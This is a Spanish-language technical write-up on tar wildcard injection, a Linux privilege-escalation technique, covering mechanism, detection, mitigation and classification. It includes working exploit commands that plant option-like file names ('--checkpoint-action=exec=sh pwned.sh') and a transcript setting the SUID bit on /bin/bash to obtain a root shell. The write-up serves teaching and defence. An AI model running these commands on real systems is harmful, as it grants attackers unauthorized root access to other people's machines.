1. Descripción técnica del ataque
Tar Wildcard Injection es una técnica de escalada de privilegios que abusa de comandos que usan un comodín (*) como argumento, típicamente en cronjobs o scripts de backup del estilo:
tar -zcf /var/backups/serve.tgz *El problema es que el shell expande el * a la lista de archivos del directorio antes de pasarlos al comando. Si un atacante puede crear archivos en ese directorio, puede darles nombres que coincidan con opciones del programa, de modo que tar los interprete como flags en lugar de como ficheros.
tar ofrece las opciones --checkpoint y --checkpoint-action, que permiten ejecutar un comando al alcanzar cierto punto. Creando archivos con esos nombres, se logra ejecución de comandos arbitrarios con los privilegios del proceso que ejecuta tar (normalmente root vía cron):
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh pwned.sh"La misma idea (inyectar flags vía nombres de archivo) aplica a otros binarios que aceptan comodines, como chown, chmod o rsync (-e).
2. Impacto de la vulnerabilidad
- Ejecución de comandos como root cuando el
tarcon comodín lo lanza un cronjob o script privilegiado. - Escalada total del sistema, habitualmente otorgando el bit SUID a Bash o lanzando una reverse shell.
3. Historia y evolución
- La técnica fue popularizada por DefenseCode (Leon Juranic) alrededor de 2014 en su paper sobre wildcard injection.
- Se mantiene vigente porque los scripts de backup con
tar *siguen siendo un patrón muy frecuente, y es un clásico recurrente en CTFs.
4. Factores que la hacen posible
- Un proceso privilegiado (cron/script) que ejecuta un comando con comodín
*sin acotar. - Que el atacante tenga permiso de escritura en el directorio sobre el que opera el comodín.
- Que el binario afectado acepte opciones que ejecuten comandos (como
--checkpoint-actionentar).
5. Detección
- Buscar cronjobs/scripts que usen comodines sin ruta absoluta ni
--:
cat /etc/crontab
grep -r "tar" /etc/cron* /opt /usr/local/bin 2>/dev/null- Observar la ejecución de procesos de root con pspy:
./pspy64
# CMD: UID=0 ... /bin/sh -c cd /var/www/html && tar -zcf /var/backups/serve.tgz *6. Mitigación
- Evitar comodines en comandos privilegiados; especificar rutas/archivos de forma explícita.
- Anteponer
--o usar./para que los nombres no se interpreten como opciones (tar -zcf out.tgz -- *no es suficiente por sí solo; preferir listar archivos controlados). - Acotar el directorio y restringir los permisos de escritura sobre las rutas que procesan los backups.
- Ejecutar los scripts de backup con el mínimo privilegio necesario.
7. Ejemplo de explotación real
Un cronjob de root ejecuta tar -zcf /var/backups/serve.tgz * dentro de /var/www/html (escribible). Inyectamos los flags de checkpoint para ejecutar un script que da SUID a Bash:
tony@plot:/var/www/html$ cat pwned.sh
#!/bin/bash
chmod u+s /bin/bash
tony@plot:/var/www/html$ chmod +x pwned.sh
tony@plot:/var/www/html$ touch -- "--checkpoint=1"
tony@plot:/var/www/html$ touch -- "--checkpoint-action=exec=sh pwned.sh"
# tras un minuto:
tony@plot:/var/www/html$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1234376 mar 27 2022 /bin/bash
tony@plot:/var/www/html$ bash -p
bash-5.1# whoami
root8. Clasificación
- Tipo: Privilege Escalation / Argument Injection
- CWE:
- CWE-88 – Improper Neutralization of Argument Delimiters in a Command (Argument Injection)
9. Resumen
Tar Wildcard Injection abusa de la expansión de * por el shell: creando archivos cuyo nombre imita opciones de tar (--checkpoint, --checkpoint-action), un atacante con escritura en el directorio de backup logra ejecución de comandos como root cuando el cronjob corre. La defensa es evitar comodines en comandos privilegiados y acotar permisos. Relacionado con PATH Hijacking como abuso de cronjobs.